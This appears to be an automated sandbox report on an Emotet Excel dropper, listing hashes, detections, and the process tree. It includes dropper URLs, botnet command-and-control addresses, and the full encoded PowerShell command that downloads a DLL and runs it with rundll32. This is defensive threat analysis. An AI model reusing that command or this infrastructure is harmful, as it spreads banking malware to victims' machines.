emotet | e4e53406a2b519b2d14d8a74669dd721caf9221ceccb3564df1d7a4d6eefce37

Analysis

max time kernel
135s
max time network
146s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 15:59

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General

Target
tmpce639irs.xls
Size 144KB
Sample220125-te6c3aader
SHA256 e4e53406a2b519b2d14d8a74669dd721caf9221ceccb3564df1d7a4d6eefce37
MD5 9c27aa7e5601ddbf61a69942249b97eb
SHA1 696b4abfe28596e8d8cf122263a31bf35173ed34
SHA512 d2f2ec22d121b295575745c84310c4e3b95076aa42c1e0c3eabef3fdea3ee9f4e8895f64b971d0559b4a7b2198eea03a85c089fb64ac4d3653e99f9e029fc2e7
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
exe.dropper
https://100lamp.com.ua:443/sale/a/
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/

Extracted

Family

emotet

Botnet

Epoch4

51.77.82.125:443
69.197.160.180:8080
103.75.201.2:443
173.212.193.249:8080
45.118.135.203:7080
45.118.115.99:8080
162.243.175.63:443
192.254.71.210:443
50.116.54.215:443
51.38.71.0:443
138.185.72.26:8080
131.100.24.231:80
212.237.5.209:443
209.59.138.75:7080
176.104.106.96:8080
107.182.225.142:8080
45.142.114.231:8080
212.237.56.116:7080
207.38.84.195:8080
158.69.222.101:443
104.251.214.46:8080
104.168.155.129:8080
46.55.222.11:443
103.8.26.102:8080
58.227.42.236:80
164.68.99.3:8080
203.114.109.124:443
216.158.226.206:443
178.63.25.185:443
103.8.26.103:8080
195.154.133.20:443
45.176.232.124:443
41.76.108.46:8080
81.0.236.90:443
178.79.147.66:8080
212.24.98.99:8080
217.182.143.207:443
110.232.117.186:8080
162.214.50.39:7080
212.237.17.99:8080
185.157.82.211:8080
79.172.212.216:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1628	2640	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
29	1716	powershell.exe
48	3816	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1212	rundll32.exe
1864	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Mlstxovuu\cavbysl.qev	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2640	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1716	powershell.exe
1716	powershell.exe
1716	powershell.exe
3816	rundll32.exe
3816	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 1628	2640	EXCEL.EXE	70
PID 2640 wrote to memory of 1628	2640	EXCEL.EXE	70
PID 1628 wrote to memory of 1716	1628	cmd.exe	72
PID 1628 wrote to memory of 1716	1628	cmd.exe	72
PID 1716 wrote to memory of 1212	1716	powershell.exe	73
PID 1716 wrote to memory of 1212	1716	powershell.exe	73
PID 1716 wrote to memory of 1212	1716	powershell.exe	73
PID 1212 wrote to memory of 1864	1212	rundll32.exe	75
PID 1212 wrote to memory of 1864	1212	rundll32.exe	75
PID 1212 wrote to memory of 1864	1212	rundll32.exe	75
PID 1864 wrote to memory of 1004	1864	rundll32.exe	78
PID 1864 wrote to memory of 1004	1864	rundll32.exe	78
PID 1864 wrote to memory of 1004	1864	rundll32.exe	78
PID 1004 wrote to memory of 3816	1004	rundll32.exe	79
PID 1004 wrote to memory of 3816	1004	rundll32.exe	79
PID 1004 wrote to memory of 3816	1004	rundll32.exe	79

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpce639irs.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1716
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\1110642154.dll,f1339597149
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1212
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\1110642154.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1864
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mlstxovuu\cavbysl.qev",BhYDWOKEFMatjP
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1004
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mlstxovuu\cavbysl.qev",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1004-378-0x0000000000FE0000-0x0000000001005000-memory.dmp

Download

memory/1212-362-0x0000000000E70000-0x0000000000E95000-memory.dmp

Download

memory/1716-213-0x0000028F9B8A0000-0x0000028FB39C0000-memory.dmp

Download

memory/1716-306-0x0000028F9B8A0000-0x0000028FB39C0000-memory.dmp

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memory/1716-224-0x0000028F9B8A0000-0x0000028FB39C0000-memory.dmp

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memory/1716-200-0x0000028F9B810000-0x0000028F9B832000-memory.dmp

Download

memory/1716-203-0x0000028FB3B40000-0x0000028FB3BB6000-memory.dmp

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memory/1864-374-0x0000000004920000-0x0000000004945000-memory.dmp

Download

memory/1864-380-0x0000000004B20000-0x0000000004B45000-memory.dmp

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memory/1864-376-0x0000000004980000-0x00000000049A5000-memory.dmp

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memory/1864-372-0x00000000048C0000-0x00000000048E5000-memory.dmp

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memory/1864-367-0x00000000010E0000-0x0000000001105000-memory.dmp

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memory/1864-365-0x0000000000710000-0x0000000000735000-memory.dmp

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memory/2640-119-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/2640-425-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/2640-122-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/2640-131-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Download

memory/2640-118-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/2640-132-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

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memory/2640-426-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/2640-120-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/2640-121-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/2640-153-0x000001EFE02E0000-0x000001EFE02E4000-memory.dmp

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memory/2640-423-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/2640-424-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

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memory/3816-383-0x00000000034B0000-0x00000000034D5000-memory.dmp

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memory/3816-381-0x0000000003310000-0x0000000003335000-memory.dmp

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